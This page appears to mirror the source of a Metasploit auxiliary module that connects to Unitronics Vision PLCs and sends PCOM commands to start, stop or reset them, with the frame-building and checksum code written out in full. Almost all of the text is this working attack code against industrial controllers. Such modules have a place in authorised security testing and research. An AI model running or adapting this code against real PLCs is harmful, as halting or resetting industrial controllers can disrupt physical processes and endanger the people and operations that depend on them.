Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/scada/pcom_command.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Exploit::Remote::Tcp8include Rex::Socket::Tcp9include Rex::Text1011def initialize(info = {})12super(update_info(info,13'Name' => 'Unitronics PCOM remote START/STOP/RESET command',14'Description' => %q{15Unitronics Vision PLCs allow remote administrative functions to control16the PLC using authenticated PCOM commands.1718This module supports START, STOP and RESET operations.19},20'Author' =>21[22'Luis Rosa <lmrosa[at]dei.uc.pt>'23],24'License' => MSF_LICENSE,25'References' =>26[27[ 'URL', 'https://unitronicsplc.com/Download/SoftwareUtilities/Unitronics%20PCOM%20Protocol.pdf' ]28],29))3031register_options(32[33OptEnum.new('MODE', [true, 'PLC command', 'RESET', ['START', 'STOP', 'RESET']]),34Opt::RPORT(20256),35OptInt.new('UNITID', [ false, 'Unit ID (0 - 127)', 0]),36])37end3839# compute and return the checksum of a PCOM ASCII message40def pcom_ascii_checksum(msg)41(msg.each_byte.inject(:+) % 256 ).to_s(16).upcase.rjust(2, '0')42end4344# compute pcom length45def pcom_ascii_len(pcom_ascii)46Rex::Text.hex_to_raw(pcom_ascii.length.to_s(16).rjust(4,'0').unpack('H4H4').reverse.pack('H4H4'))47end4849# return a pcom ascii formatted request50def pcom_ascii_request(command)51unit_id = datastore['UNITID'].to_s(16).rjust(2,'0')52# PCOM/ASCII53pcom_ascii_payload = "" +54"\x2f" + # '/'55unit_id +56command +57pcom_ascii_checksum(unit_id + command) + # checksum58"\x0d" # '\r'5960# PCOM/TCP header61Rex::Text.rand_text_hex(2) + # transaction id62"\x65" + # ascii (101)63"\x00" + # reserved64pcom_ascii_len(pcom_ascii_payload) + # length65pcom_ascii_payload66end6768def run69connect70case datastore['MODE']71when 'START'72print_status 'Sending START command'73ascii_code = "\x43\x43\x52" # CCR74when 'STOP'75print_status 'Sending STOP command'76ascii_code = "\x43\x43\x53" # CCS77when 'RESET'78print_status 'Sending RESET command'79ascii_code = "\x43\x43\x45" # CCE80else81print_error "Unknown MODE"82return83end8485sock.put(pcom_ascii_request(ascii_code)) #86ans = sock.get_once87if ans.to_s[10,2] == 'CC'88print_status 'Command accepted'89end90disconnect91end92end939495